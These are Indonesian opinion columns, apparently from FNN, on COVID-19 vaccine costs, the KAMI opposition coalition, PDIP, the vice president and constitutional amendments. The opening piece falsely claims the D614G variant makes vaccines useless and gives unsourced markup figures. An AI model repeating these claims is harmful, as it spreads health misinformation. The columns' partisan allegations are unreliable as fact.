14.660 per dolar AS). “Harga vaksin ini untuk satu orang dua kali suntik kurang lebih harganya 25 sampai 30 dolar AS, tapi ini Bio Farma lagi menghitung ulang,” ujar Menteri Erick dalam rapat kerja bersama Komisi VI DPR di Jakarta, Kamis pekan lalu. Sementara untuk harga bahan baku vaksin COVID-19, ia mengemukakan sekitar 8 dolar AS pada 2020. Pada 2021 harganya turun menjadi 6-7 dolar AS. “Jadi ada penurunan harga bahan baku pada 2021. Kita memang menginginkan bahan baku supaya kita bisa belajar memproduksi vaksin jadi, tidak hanya terima vaksin yang sudah jadi," ucapnya, dikutip Antara. Agar tidak menambah beban APBN, Erick mengusulkan melakukan vaksin ke masyarakat dengan dua pendekatan, yakni menggunakan APBN berdasarkan data BPJS Kesehatan dan vaksin mandiri. “Vaksin mandiri tidak lain ingin memastikan tidak membebani keuangan negara secara jangka menengah dan panjang,” ucapnya. Dalam kesempatan itu, Erick yang juga Ketua Pelaksana Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (KPEN) mengatakan bahwa Covid-19 masuk dalam kategori pintar. “Catatan buat pimpinan Komisi VI dan anggota, memang virus COVID-19 termasuk kategori virus pintar, masuk kategori flu, vaksin bukan untuk selamanya, 6 bulan sampai 2 tahun kekuatannya. Karena itu kita berharap ada temuan lanjutan agar kita terjaga,” paparnya. Erick memperkirakan pelaksanaan protokol Covid-19 akan berjalan dalam waktu yang lama. Menurutnya, pihaknya meminta kepada seluruh BUMN untuk mulai mengkaji persiapan kinerja bisnis, diperlukan medium strategi dengan kondisi seperti saat ini. Jika menyimak mutasi Covid-19 D614G di atas, apakah belanja vaksin Sinovac masih efektif dan tetap mau dilakukan? Sebab, varian baru ini, bisa terjadi pada orang yang terkena tidak bergejala, tiba-tiba diketahui sudah pada stadium lanjut. Bisa diketahui, kondisi paru-parunya sudah dipenuhi cairan, dan akhirnya saturasi oksigen sudah rendah, dan sulit tertolong. Sebenarnya dengan varian ini, otomatis vaksin yang kini sedang uji klinis, tidak ada gunanya. Karena ada cairan yang banyak di paru-paru ini, maka kadar oksigen yang bisa diserap oleh paru-paru menjadi sangat sedikit/terbatas. Bisa dibayangkan, jika lendir itu tidak keluar, dan ada di dalam tenggorongkan. Sehingga, menyebabkan saluran nafas buntu. Masih tetap mau menggunakan vaksin Sinovac? Mengutip dr. Tifauzia Tyassuma, pihak Sinovac menjual vaksin curah itu ke Biofarma. Harga berapa itu vaksin literan belum jelas. Biofarma masukin botol dan dikardusin, terus dijual Rp 72,000 per dosis. Sampai di tempat Erick dijual Rp 440,000. Modalnya Rp 72 ribu x 273 juta x 2 dosis = Rp 39 Triliun. Omzetnya Rp 440 ribu x 273 juta x 2 dosis = Rp 240 Triliun. Kata Erick, untuk menekan cash flow pemerintah, maka rakyat harus beli secara mandiri. Penulis adalah Wartawan Senior FNN.CO.ID.

PDIP Gelisah Adanya KAMI

by M Rizal Fadillah Jakarta FNN – Senin (31/08). Sekurangnya tiga tokoh PDIP berkomentar nyinyir menggapi keberadaan Koalisi Aksi Manyelamatkan Indonesia (KAMI). Adian Napitupulu bagai kebakaran bulu hidung. Adian lalu berkicau soal KAMI yang katanya menggalang kekuatan pasca deklarasi Solo. Demikian juga dengan tokoh yang baru lompat ke PDIP Kapitra Ampera, yang mencak-mencak bahwa KAMI makar. Disebutnya KAMI berbahaya dengan mengutip butir ke-delapan Maklumat KAMI. Kapitra seperti awam dan seperti bukan Sarjana Hukum menyatakan makar atas narasi butir delapan. "Menuntut Presiden untuk bertanggungjawab sesuai sumpah dan janji jabatannya serta mendesak lembaga-lembaga negara (MPR, DPR, DPD, dan MK) untuk melaksanakan fungsi dan kewenangan konstitusionalnya demi menyelamatkan rakyat, bangsa, dan negara Indonesia". Dua hal yang jelas bukan makar dari butir ini, pertama bahwa menuntut Presiden bertanggungjawab atas sumpah dan janji jabata ini sah-sah saja. Tidak melabrak Konstitusi. Bahkan mendorong kewajjban konstitusional seorang Presiden untuk merealisasikan Pasal 9 UUD 1945. Kedua, bahwa mendesak MPR, DPR, DPD dan Makmahah Kontitusi (MK) untuk melaksanakan fungsi dan kewenangan konstitusionalnya. Ini merupakan desakan yang bagus sekali. Desakan anak bangsa yang mengingatkan para penyelenggara negara untuk bekerja sesuai sumpah dan janjinya. Lembaga-lembaga negara tersebut sudah semestinya berjalan optimal sesuai dengan fungsi dan kewenangan konstitusionalnya. Lalu apa yang salah dari narasi Maklumat itu ? Tidak ada !. Dimana makarnya ? Tidak ada juga. Hanya inferioritas dan ketakutanlah yang menciptakan pandangan negatif atas butir Maklumat tersebut. Dasar pemikiran Kapitra Ampera dapat dikategorikan "obscuur libel" jika dalam sebuah gugatan. Tokoh puncak PDIP yang gamang dan gelisah adalah Megawati Soekarnoputri. Pidatonya menyinggung KAMI soal banyak yang ingin menjadi Presiden. Entah tudingannya tertuju pada siapa? Tidakl jelas jelas. Namun yang jelas banyak. Nah seorang politisi kawakan yang berpandangan "childish" seperti ini, jelas sangatlah memalukan. Terkurung wawasan tentang perbedaan pendapat. Jikapun benar, jika dan hanya jika, maka keinginan menjadi Presiden itu sah-sah saja. Keinginan yang dilarang atau diharmkan oleh konstitusi negara kita. Seorang sekelas Giring saja telah mendeklarasikan diri sebagai Capres untuk tahun 2024. Tak peduli banyak yang menertawakan. Apakah nyinyirannya bu Mega itu karena didasarkan takut anaknya tersaingi dalam Pilpres? Yah kalau itu wajar PDIP meradang. Menyeret isu makar segala pada KAMI. Padahal PDIP lupa bahwa platform perjuangan yang menginginkan Pancasila 1 Juni 1945 mempengaruhi dan menjiwai para penyelenggara negara itu bukan makar ? Berjuang untuk mewujudkan Pancasila 1 Juni 1945 adalah makar yang nyata. Apalagi dengan semangat Trisila dan Ekasila serta Ketuhanan yang berkebudayaan. Pancasila 1 Juni 1945 adalah bagian dari semangat kudeta terhadap konsesus Pancasila 18 Agustus 1945. Para petinggi PDIP tak perlu tunjuk-tunjuk hidung orang lainlah. Aapalagi untuk suatu pekerjaan yang dilakukan oleh dirinya sendiri. Rakyat sudah sangat faham akan kebobrokan rezim yang di "back up" sepenuhnya oleh "the rulling party". Penulis adalah Pemerhati Politik dan Kebangsaan.

KAMI Itu Beroposisi Terhadap Ketidakadilan Penguasa

by Anton Permana Jakarta FNN – Senin (31/08). Maklumat yang dikeluarkan Koalisi Aksi Menyelamatkan Indonesia (KAMI) tidak lebih dari sebuah bentuk kegelisahan. Resah atas fenomena yang menimpa negara hari ini. Fenomena ketidakadilan yang berdampak kerusakan kehidupan bernegara. Tapi sayangnya, maklumat tersebut tidak pernah dijawab atau dibantah sesuai dengan muatan konten masalah dan argumentasi. Justru yang terjadi adalah sebaliknya. Mirip prilaku dan tindakan negara komunis Mao. Menyerang pribadi para deklarator secara membabi buta. "Apabila kamu tidak bisa mematahkan argumentasi lawanmu, maka seranglah pribadinya". (Mao Tse Tung). Untung saja kelakuan para buzzer dan influencer bayaran ini untuk menggembosi gerakan KAMI tidak berpengaruh terhadap masyarakat. Toh buktinya, sejak dideklarasikan tanggal 18 Agustus 2020 di Tugu Proklamasi, gerakan KAMI ini disambut berbagai daerah bagaikan gelombang tsunami tak terbendung. Sampai saat ini, setidaknya KAMI sudah dideklarasikan belasan provinsi. Saya yakin September ini insya Allah akan genap di 34 provinsi. Ini menunjukan, kemunculan kami bagaikan 'pucuk dicinta, ulampun tiba'. Ketika trias politika mati di negeri ini, KAMI hadir sebagai arus alternatif untuk melakukan koreksi terhadap rezim yang setiap hari semakin membawa kerusakan di segala lini. Wajar kelompok tertentu pendukung rezim panas dingin dengan kehadiran KAMI. Karena kalau dilihat secara arah gerakan, baik komposisi maupun personality -nya memiliki banyak keunggulan dan keunikan yang tidak bisa dianggap remeh, baik secara kualitas maupun kuantitas. Pertama. KAMI adalah gerakan moral dengan nuansa kebangsaan. Dimana secara otomatis narasi radikal, intolerans, tidak bisa disematkan kepada gerakan KAMI. Sebagaimana selama ini rezim membungkam kelompok Islam. Kedua. Secara komposisi personal individu, para deklarator KAMI adalah para tokoh nasional yang mempunyai cadangan 'deposit moral' yang sangat kaya. Para tokoh nasional yang punya kredibilitas dan berpengaruh di masyarakat bawah. Sehingga upaya "blamming game" dari para buzzer rupiah murahan untuk mendegradasi ketokohan para deklarator KAMI tidak signifikan. Ketiga. Ada perimbangan keterwakilan yang apik bagaikan formulasi indah kebangsaan dari anatomi para deklarator KAMI ini. Ada dari kalangan militer dengan sosok Pak Gatot Nurmantio bersama rekan-rekannya. Ada sosok lintas agama dengan sosok Prof Din Syamsudin dari Muhammadiyah. Prof Rahmad Wahab dari NU Khittoh, Habieb Muchsin Al Athos dari Syuro FPI, KH Zainudin Rosmin dari PA 212, Bapak Bahtiar Chamsyah dari Parmusi, MS Ka'ban bersama Dr Ahmad Yani dari Masyumi Reborn. Belum lagi tokoh kharismatik KPK Bapak Dr Abdullah Hemahua, aktifis KAPPI dan HMI semasa remajanya. Begitu juga untuk kalangan non muslim ada Koh Lius, Dr Antony Budiman, dan Prof Philips bersama rekan. Tidak hanya dari kalangan keagamaan, hadir juga dari kalangan akademisi seperti Prof Hafiz, Prof Laode Kamaludin, serta para intelektual Refly Harun dan Rocky Gerung. Para pakar ekonomi Ichsanoedin Noersy, aktifis senior legendaris Bang Syahganda Nainggolan dan Jumhur Hidayat. Keempat. Di dalam barisan nama para deklarator KAMI, ada beberapa nama yang sebelumnya adalah bahagian dari pemerintahan. Yang tentu saja, akan banyak tahu tentang sistem pemerintahan serta jeroannya rezim hari ini apa saja. Para mantan pejabat yang secara pengetahuan dan jam terbang pemerintahannya tidak diragukan lagi seperti Dr Said Didu. Itu baru nama-nama yang muncul. Di belakang nama-nama besar tersebut tentu lengkap dengan gerbongnya masing-masing. Belum lagi para tokoh dan pejabat aktif sekalipun yang diam-diam turut memberikan dukungan dengan gerakan KAMI ini. Kelima. Momentum kehadiran KAMI sangat tepat. Ketika negara mengalami konstraksi dan titik jenuh pasca disahkannya UU Corona, UU KPK, UU Minerba, dan hiruk pikuk RUU HIP/BPIP dan RUU Omnibus Law. Karena, boleh dikatakan, matinya fungsi DPR RI sebagai alat kontrol, pengawasan dan budgetting alias tersanderanya Parpol oleh kekuasaan oligharki. negara ini seakan-akan berjalan tanpa navigasi dan semakin zig-zag menuju otoritenisme absolute. Dan ini sangat berbahaya kalau terus dibiarkan. Karena bisa memicu konflik besar yang berujung kepada disintegrasi bangsa. Negara bisa hancur lebur. Tak akan rela mayoritas rakyat Indonesia falsafah Pancasila diganti menjadi Ekasila dan Trisila yang notabenenya akan menggeser negara Indonesia menjadi berhaluan komunis. Sebenarnya masih sangat banyak lagi yang mau disebutkan, dimana intinya adalah kombinasi para deklarator KAMI bagaikan “The Avengers”-nya Indonesia hari ini. Untuk menentang para "penjahat negara" yang menjadi proxy kekuatan elit global asing-aseng untuk menjarah Indonesia. Sehingga lahirlah ketidakadilan dimana-mana. Semua dikuasai oleh segitiga oligharki (Politisi-Cukong-Pejabat). Selanjutnya. Keunggulan KAMI lainnya adalah memahami masalah secara dalam. Data-datanya faktual tidak terbantahkan. Sesuai dengan kenyataan bangsa kita hari ini yang kalau dibiarkan akan semakin sekarat. Kesimpulannya, KAMI tidak akan lahir kalau negara hari ini baik-baik saja. KAMI tidak akan mendapatkan sambutan luar biasa dari lapisan rakyat kalau apa yang diperjuangkan KAMI tidak selaras dengan kondisi bangsa hari ini. Seharusnya, kalau rezim mempunyai hati yang lurus, maka semestinya mereka tidak arogan dan justru berterimakasih kepada KAMI. Karena telah mau melakukan koreksi untuk mengingatkan bahwasanya negara sedang darurat. Sudah salah di jalan yang salah urus. Kalau bersih tak usah risih. Kalau merasa benar tak usah klepar-klepar. Kalau merasa baik, tak usah paranoid dan panik. Dari semua itu, artinya adalah KAMI beroposisi terhadap ketidakadilan hasil ulah para oknum yang telah merusak negeri ini secara sistematis. KAMI itu beroposisi terhadap setiap kebijakan yang membawa kerusakan dan kerugian negara. Kerugian yang diambil dan diputuskan oleh para penyelenggara negara. Saat ini, kerusakan ekonomi sudah parah sehingga kondisi rakyat semakin sulit. Ketimpangan penegakan hukum sungguh nyata sehingga banyak masyarakat yang teraniaya. Penyimpangan pemerintahan dan ideologi semakin menjadi sehingga negara lari jauh dari amanat konstitusi. Perampokan terhadap sumber kekayaan alam begitu jelas, sehingga negara terlilit hutang dan BUMN sebagai unit ekonomi negara terancam bangkrut. Kemiskinan dan kesulitan hidup rakyat semakin tinggi. Lapangan kerja semakin sulit. Sedangkan biaya hidup semakin naik. Semua kerusakan dan penyimpangan itu KAMI paparkan secara seksama dengan berbagai fakta bukti akurat. Tujuannya apa? Agar negara ini tidak semakin terpuruk dan bersegera melakukan pembenahan serta perbaikan. Tapi apa yang terjadi? KAMI diserang dengan berbagai bentuk caci maki, fitnah, dan komentar destruktif lainnya. Mulai dari buzzer sampai kalangan elit pemuja rezim. Tentu saja, kejadian arus balik ini semakin memperjelas "positioning" antara KAMI dengan para oknum yang berkuasa hari ini. Mereka yang lagi berkuasa dan merasa dirinya adalah sama dengan negara. Yang akhirnya terbentuk adalah pertarungan antara haq melawan kebatilan. Untuk memperjuangkan yang haq inilah, KAMI tidak akan tinggal diam dan membiarkan negeri ini dirampok dan dijarah. KAMI adalah gerakan moral. Dimana moral inilah yang sudah "defisit" dari implementasi bernegara kita hari ini. Makanya sambutan rakyat terhadap KAMI tak terbendung dari Sabang sampai Merauke. Bagaimana ujungnya? Biar waktu yang menjawabnya. Yang jelas KAMI sedang menunaikan hak dan kewajibannya. Hak sebagai warga negara menyampaikan pendapat yang dijamin konstitusi pasal 28 UUD 1945. Serta kewajiban bela negara sesuai dengan pasal 30 UUD 1945. Apapun caci-maki para pendengki dan para penjahat negara terhadap KAMI. Insya Allah KAMI akan terus bergerak bersama ke seluruh rakyat Indonesia untuk menyelamatkan Indonesia. Salam Indonesia Jaya ! Penulis adalah Pemerhati Militer, Politik dan Sosial Budaya.

Ma'ruf Digoyang, Ma'ruf Juga Melawan

by Tony Rosyid Jakarta FNN – Senin (31/08). Beberapa hari lalu Presidium Indonesian Police Watch (IPW), Neta S. Pane konferensi pers. Menyinggung kantor Wakil Presiden (Wapres) agar dibersihkan dari orang-orangnya Jusuf Kalla Para pendukung Ma'ruf merasa tak nyaman, katanya. Orang-orang Jusuf Kalla dianggap menjadi penghambat interaksi keluarga dan para relawan dengan Wapres Ma’ruf. Aneh! Sangat ganjil! Sulit diterima akal sehat! Orang-orang Jusuf Kalla masih kuasi kantor Wapres? Mereka menghambat para pendukung Ma'ruf masuk ke kantor Wapres? Lalu, apa kepentingan Jusuf Kalla menguasai kantor Wapres? Menjadi tidak aneh jika ungkapan Ma'ruf Amin dan para relawan yang disampaikan Neta S. Pane dipahami sebagai manuver. Bukan ditujukan kepada orang-orangnya Jusuf Kalla sebagai sasaran tembaknya. Tapi kepada Jokowi. Menyoal orang-orang Jusuf Kalla di kantor wapres hanya sebagai prolog. Tuntutan dan sasaran utamanya adalah Jokowi. Maka, dalam konferensi pers, disinggung soal reshuffle kabinet dan posisi komisaris di BUMN. Apa targetnya? Memberi peran Ma'ruf sebagai wakil presiden secara proporsional. Terutama dalam menyusun kabinet dan penempatan orang-orang sebagai komisaris di BUMN. Publik tahu, posisi Wapres selama ini hanya sebagai pelengkap konstitusi. Nyaris tak ada peran signifikan. Bahkan media pun tidak memberi ruang yang proporsional. Bagaikan burung di sangkar emas, kata Neta. Bandingkan ketika Jusuf Kalla yang jadi wapres. Nyaris seperti masa Orde Baru. Wapres hanya sebagai syarat konstitusional tanpa signifikansi peran. Hanya sesekali muncul di berita. Semua media didominasi berita tentang presiden. Presiden gendong cucu saja viral. Apalagi presiden marah-marah dan lempar bingkisan. Wajar jika wapres dan para relawannya protes. Kenapa baru sekarang? Boleh jadi pertama, ada tekanan terhadap Wapres akhir-akhir ini. Maksudnya, Wapres sedang digoyang. Kemungkinan kedua, posisi presiden mulai melemah ketika dihadapkan pada ancaman krisis ekonomi. Disini, Ma'ruf punya peluang bergaining. Bahkan bisa lebih dari itu. Krisis ekonomi jadi pintu masuk. APBN mengalami defisit. Diperkirakan hingga 6,72 persen dari PDB. Sekitar 1.028,6 triliun. Pertumbuhan ekonomi minus -5,32 persen. PLN rugi Rp. 38,87 triliun. Pertamina rugi Rp. 11,13 triliun. Harga minyak dunia turun, tapi dijual dengan harga normal ke rakyat kok bisa rugi? Tanya Ahok bro. Pertamina mengalami rugi Rp. 11,13 triliun, mungkin gara-gara ngitungnya sambil merem. Nasib BUMN yang lain? Cari saja sendiri datanya! Terlalu panjang kalau ditulis di sini. Yang pasti, sejumlah BUMN telah dijaminkan untuk pinjaman infrastruktur. Ngeri-ngeri sedap barang itu. Di sisi lain, gelombang protes rakyat mulai menyebar dan semakin masif. Muncul sejumlah kelompok oposisi. Diantaranya Koalisi Aksi Menyelamatkan Indonesia (KAMI) yang dideklarasikan oleh ratusan tokoh berpengaruh dari berbagai elemen bangsa. Juga lahirnya "Anak NKRI" tak bisa dipandang sebelah mata. Gerakan 212 yang dikomandoi Habib Rizieq Shihab (HRS), Persatuan Alumni 212 dan GNPF Ulama juga masih terus eksis. Protes Ma'ruf dan para relawannya adalah cara bergaining yang boleh jadi efektif, tetapi tetap saja berisiko. Efektif, jika kondisi ekonomi makin memburuk. Apalagi upaya pemerintah mendesak Bank Indonesia melakukan burden sharing (cetak uang) nampaknya belum ada tanda-tanda berhasil. Sekarang kas negara kabarnya sedang bermasalah. Cari pinjaman luar negeri di masa pandemi juga tak mudah. Hampir punya semua negara punya masalah ekonomi yang sama. Hampir semua ekonom di luar pemerintah memprediksi ekonomi bakal collaps. Manuver Ma'ruf Amin tetap saja berisiko. Aapalagi jika Presiden Jokowi nantinya berhasil mengatasi kompleksitas masalah bangsa, terutama ekonomi. Maka posisi Ma'ruf bisa makin kehilangan peran. Bakal tambah kecewa lagi para pendukung Wapres. Bagaimanapun, terjun di dunia politik harus berani ambil risiko. Dari pada hanya sebagai pelengkap konstitusi. Pilihan untuk melawan jauh lebih rasional dan elegan. Rasional, karena Wapres mesti punya peran. Elegan, peran ini akan ditulis sebagai referensi sejarah bangsa Indonesia. Buat apa jadi Wapres kalau kelak ditulis oleh sejarah sebagai Wapres terlemah karena hanya sebagai pelengkap konstitusi tanpa peran berarti. Mundur atau melawan itu lebih terhormat. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Membedah Dan Memetik Buah Amandemen UUD 1945 (Bagian-1)

by Mayjen TNI (Purn) Prijanto Jakarta FNN – Senin (31/08). Pembatasan, untuk membedakan dan memudahkan dalam artikel berseri ini, maka hasil amandemen UUD 1945 kita sebut dengan UUD 2002. Baca juga Undang Undang Dasar 1945 yang diamandemen 10 Agustus 2002) tidak identik dengan Undang Undang Dasar 1945 konsensus 18 Agustus 1945. (Google). Lima kesepakatan dasar yang disusun Panitia Ad Hoc 1 MPR RI dalam melakukan perubahan terhadap UUD 1945 oleh MPR RI pada 1999-2002, (Prof. Dr. Maria Farida Indrati, 18/8/2020, Webinar GKI-Panji Masyarakat) adalah 1. Tidak mengubah Pembukaan UUD 1945. 2. Tetap mempertahankan NKRI. 3. Mempertegas sistem pemerintahan presidensial. 4. Penjelasan UUD 1945 ditiadakan serta hal-hal normatif dalam Penjelasan dimasukkan dalam pasal-pasal. 5. Perubahan dilakukan dengan cara adendum. Mengapa lima kesepakatan dasar di atas ditempatkan di awal artikel ? Pertama, kesepakatan tersebut penting, ketika kita bicara seputar amandemen UUD 1945. Kedua, prinsip negara konstitusi, darul ahdi, darul mitzaq, negara kesepakatan, dimana orang wajib patuh dan tunduk apa yang telah diputus atau disepakati. (Prof. Jimly Assiddiqie, 23/8/2020, WhatsApp). Untuk membedah dan bagaimana rasa buah amandemen, Veteran Komisi Konstitusi MPR RI dan generasi muda turun gunung pada Webinar peringatan Hari Konstitusi, 18/8/2020. Webiner tersebut diselenggarakan oleh Gerakan Kebangkitan Indonesia bersama Panji Masyarakat. Apa kata mereka ? Prof. Dr. Tjipta Lesamana, Guru Besar Ilmu Komunikasi, Sekretaris Tim Penyusun Laporan Akhir Komisi Konstitusi MPR RI mengtakan, implementasi gabungan demokrasi politik dengan demokrasi ekonomi telah dijabarkan sangat jelas dalam UUD 1945 pada Pasal 33 ayat (1), (2) dan (3). “Setelah amandemen, adanya ayat (4) Pasal 33 UUD 2002, dinilai sangatlah kontroversial karena bernafaskan asas liberal dan kapitalis, kata Prof. Tjipta. Demokrasi ekonomi yang dicita-citakan telah dibunuh sistem kapitalisme liberal sejak reformasi. Jurang antara kaya dan miskin di Indonesia terus melebar. Menurut Bank Dunia sebagian besar penduduk hidup hampir di bawah garis kemiskinan. Namun, orang yang super kayapun semakin banyak. Selama masih ada ayat (4) Pasal 33 UUD 2002, omong kosong Indonesia bisa adil makmur yang berkeadilan sosial bagi seluruh rakyat Indonesia. Perubahan UUD 1945, nyaris membawa Indonesia ke arah sistem oligarki. Kekuasaan politik di pemerintahan dan parlemen, secara efektif dipegang oleh kelompok kecil elit politik. Khusus implementasi ayat (4) Pasal 33 UUD 2002, juga ikut merusak sebagian dari tantanan hukum, tantanan pendidikan, kebudayaan dan pergaulan sosial. Ditambah tidak adanya penjelasan, membuat pasal-pasal dalam UUD 2002, sangat multi interpretatif. Prof. Dr. Maria Farida Indrati, SH, MH, Guru Besar Ilmu Perundang-Undangan, Anggota Komisi Konstitusi MPR RI, Hakim Konstitusi MK 2008-2018 menyoroti hilangnya marwah MPR sesudah perubahan UUD 1945. Perubahan UUD 1945 memang tidak tabu. Namun disayangkan, perubahan tidak dimulai dari pasal yang awal sampai pasal yang terakhir, sehingga secara “Sistematika Kelembagaan” telah menimbulkan kerancuan dalam rumusan dan implementasinya. Walau tidak terucap oleh Prof. Maria, namun kesepakatan dasar yang disusun PAH 1 MPR RI dalam perubahan UUD 1945 ada dimakalahnya. Kita tahu, perubahan UUD 1945 tidak dengan cara adendum. Artinya, ada ketidakpatuhan dalam perubahan UUD 1945 terhadap hal yang sudah disepakati. Eksistensi MPR RI secara kuantitas, sebelum perubahan memiliki tiga fungsi. Namun setelah perubahan, memiliki lima fungsi. Secara kualitas, fungsi MPR sebelum perubahan lebih bagus atau bergengsi, yaitu menetapkan Undang-Undang Dasar, membuat Garis-garis Besar Haluan Negara (GBHN), dan memilih Presiden dan Wakil Presiden (Pasal 3 dan Pasal 6 ayat 2 UUD 1945). Setelah perubahan, setiap lima tahun sekali hanya melantik Presiden dan Wakil Presiden, yang sifatnya seremonial. Sedang empat fungsi lainnya jika perlu saja. Pertanyaan kritisnya, dengan tidak adanya Tap MPR, siapakah yang menetapkan Presiden dan Wakil Presiden Indonesia ? Sebab, KPU hanya menetapkan pasangan Capres dan Cawapres pemenang Pemilu. Membingungkan bukan ? MPR bukan lagi pelasana kedaulatan rakyat, walaupun pelaksana kedaulatan tersebut kemudian dimandatkan kepada Presiden terpilih. MPR tidak sehebat sebelum perubahan, maka tidak heran banyak pihak menganggap yang berlaku saat ini bukan UUD 1945, kata Prof. Maria diplomatis. Dr. Laode Ida, Tokoh Muda Gerakan Reformasi, Anggota Komisi Konstitusi MPR RI menambahkan, semangat mudanya untuk membawa negara lebih baik. Dengan cara menuntut perubahan konstitusi. Mengubah pemilihan Presiden dari dipilih sekelompok orang, menjadi dipilih rakyat langsung. Begitu juga halnya pemilihan Kepala Daerah, untuk menghindari pemilihan lewat DPRD yang rawan dibayari oleh para pemilik modal. Di masa reformasi, Dr. Laode menjabat di DPD dan Ombudsmen RI. Banyak peristiwa di Indonesia yang dibacanya. Pilpres dan Pilkada secara langsung, telah megubah wajah demokrasi Indonesia. Celakanya, pemilik modal ternyata memiliki kemampuan membeli suara rakyat Indonesia. Suka tidak suka, demokrasi ala Indonesia saat ini telah membuat kerusakan yang sangat masif, kata Laode Ida. Persoalan lain, seperti disampaikan Prof. Tjipta , adanya ayat (4) Pasal 33 UUD 2002. Persoalan sumber kekayaan alam yang seharusnya dikuasai negara untuk sebesar-besar kemakmuran rakyat, nyaris dikuasai asing. Bagaimana mungkin satu orang bisa menguasai sejuta hektare lahan. Ada hal yang sensitif dan merisaukan, yaitu hilangnya syarat Presiden orang Indonesia asli dalam UUD 2002. Pada tingkat tertentu, ketentuan ini digugat oleh orang-orang daerah, tatkala ada atas nama pemerintah pusat dan kebijakan nasional, terkait dengan penguasaan dan pengelolaan sumber kekayaan alam oleh asing. Siapakah sesungguhnya yang berdaulat? Apa kita harus membangunkan bapak pendiri negara yang sudah wafat dan tanya apa yang dimaksud “orang Indonesia asli”? Secara sosio-antropologis, orang Indonesia asli itu mereka yang secara turun menurun di Indonesia, menempati suatu ruang, pulau, tempat dan sejarah etnik ada di situ. Di luar terminologi itu, bukan orang Indonesia asli, kata Dr. Laode Ida. “Apabila kita ingin mengembalikan ruh konstitusi, persoalan format kedaulatan rakyat dalam Pilpres dan Pilkada, ayat (4) Pasal 33 UUD 2002 dan syarat Presiden orang Indonesia asli, itulah yang perlu didiskusikan”, tutur Dr. Laode Ida tokoh yang dulu menuntut perubahan konstitusi itu menutup pendapatnya. Bagaimana pendapat Generasi Muda dan tokoh lainnya dalam Webinar? Silakan baca “Membedah dan Memetik Buah Amandemen UUD 1945 ( Bagian-2) Generasi Muda Turun Gunung”. Lebih melengkapi, ditinjau dari perspektif lain. Semoga bermanfaat, amin. (bersambung). Penulis adalah Aster KASAD 2006-2007 & Rumah Kebangkitan Indonesia.

Rocky Gerung de Plato

by Dr. Syahganda Nainggolan Jakarta FNN – Senin (31/08). Rocky Gerung (Roger) telah memberi ceramah sepuluh menit yang menakjubkan dalam rapat perdana Majelis Deklarator KAMI (Koalisi Aksi Menyelamatkan Indonesia) di Pendopo milik Jenderal (Purn) Gatot Nurmantyo, beberapa hari lalu. Pertama, Roger mengatakan bahwa untuk bersekutu dengan KAMI dia harus naik ke Gunung Pancar. Roger merobek bajunya serta menuliskan KAMI pada robekan itu. Setelah Roger lalu menancapkan pada sebuah pohon di puncak gunung. Kedua, dari Gunung Pancar itu dia melihat sebuah Pendopo yang angkuh. Yang suatu saat nanti, akan dia lumpuhkan keangkuhan pendopo itu. Hanya berselang beberapa waktu ternyata dia berpidato di pendopo tersebut (acara KAMI). Ketiga, Roger mengatakan bahwa di puncak Gunung Pancar itu, dia memikirkan dua hal, yakni a) Rolling Stone. Sebuah batu besar yang berguling dari puncak gunung itu mungkin akan berakibat pada dua hal, yakni a. 1) batu besar itu tidak menyisakan bekas apapun pada bagian luarnya. Bahkan bekas lumut sekalipun. a. 2) Namun batu besar yang berguling itu dapat membuat batu-batu di sekitarnya ikut berguling bergelinding ke bawah sehingga membuat perubahan struktur gunung itu. Pikiran lainnya, b) Roger menemukan kekeringan pada desa-desa di Gunung Pancar. Karena sumber air disedot oleh properti-properti mewah milik orang kaya di kaki Gunung Pancar. Petani dikorbankan oleh situasi itu. Roger memukau KAMI dalam pidato singkatnya. Karena Roger dapat menjelaskan kerangka perjuangan KAMI dengan dialektika yang baik. Roger menjelaskan arah perjuangan KAMI adalah menjadikan orang-orang miskin di puncak Gunung Pancar harus lebih mulia daripada orang-orang kaya raya di bawah gunung itu, di Sentul. Roger menjelaskan strategi perubahan harus melihat tanda-tanda alam dan melihat bergulirnya bebatuan. KAMI sebagai "batu besar" harus mampu menggerakkan bebatuan lainnya bergulir dan merubah struktur pegunungan (perubahan sosial besar). Roger adalah bapak filsuf Indonesia. Seperti Plato, Roger mengalami transformasi dari "pure reason" menjadi juga "empiricism". Pembahasan Roger terhadapa segala hal, sebagaimana Plato muda, harus mengutamakan akal sehat. Jika tidak bisa dicerna akal sehat, maka apa yang bisa didiskusikan? Namun, perenungan Roger dari gunung ke gunung, seperti juga Himalaya beberapa tahun lalu, membawa Roger percaya pada kekuatan alam semesta. Dalam "pure reason", Roger juga sering menyelipkan kata-kata tentang hukum alam dan kekuatan alam. Dari sinilah Roger berinterseksi dengan kalangan agama yang menempatkan kekuatan "beyond ratio" pada Tuhan Yang Maha Esa. Ruang interaksi itu membuat perubahan besar Roger muda dengan Roger saat ini, dimana dirinya banyak berinteraksi dengan para agamawan, khususnya kalangan ulama. Pengamatan atau observasi Roger atas nasib petani yang kekurangan air, membawa Roger dari filsup "prepositional knowledge" ke arah sosiolog. Tesa, Anti Tesa dan Sintesa tidak lagi terjadi karena (ala hegelian) perbenturan idea, namun Roger menemukan jawaban dari observasi (pengamatan). Fakta dan tafsir atas fakta menjadi penting dalam bagian hidup Roger. Fakta dan tafsir atas fakta pada kehidupan Plato telah pula merubah Plato, yang awalnya percaya demokrasi menjadi ragu terhadap demokrasi. Kematian gurunya, Socrates, dihukum mati, di era demokrasi Yunani, membawa Plato terguncang. Roger sepanjang hidupnya adalah pejuang demokrasi. Di masa otokrasi Orde Baru, Roger telah ikut mendirikan Fordem (Forum Demokrasi), yang melawan Suharto. Forum Demokrasi sangat terkenal didirikan antara lain oleh Gus Dur, Marsilam Simanjuntak, Rahman Toleng. Dua nama terakhir adalah bagian guru politik Roger. Namun, Roger melihat sepanjang dua puluh tahun belakangan ini, demokrasi telah ditunggangi dan dikangkangi pemilik modal dan kaum oligarki lainnya. Oligarki yang membuat antara lain, petani-petani kehilangan air karena disedot properti mewah orang-orang kaya. Dua puluh tahun, atas nama demokrasi, perampokan sumber daya alam kita terjadi dan tidak menyisakan bagian orang-orang miskin. Bisa jadi jalan demokrasi bagi Roger sedang dicurigainya, sebagaimana yang terjadi pada Plato, yang akhirnya menolak demokarasi. Namun, tampaknya Roger masih menyimpan demokrasi sebagai yang terbaik. Penutup Debat Roger dengan seorang pejabat negara dari Kementerian Kominfo , yang juga Guru Besar Universitas Airlangga, dua hari lalu di sebuah stasiun TV swasta, telah diikuti dengan hujatan sang Guru Besar bahwa Roger memberi dua manfaat di 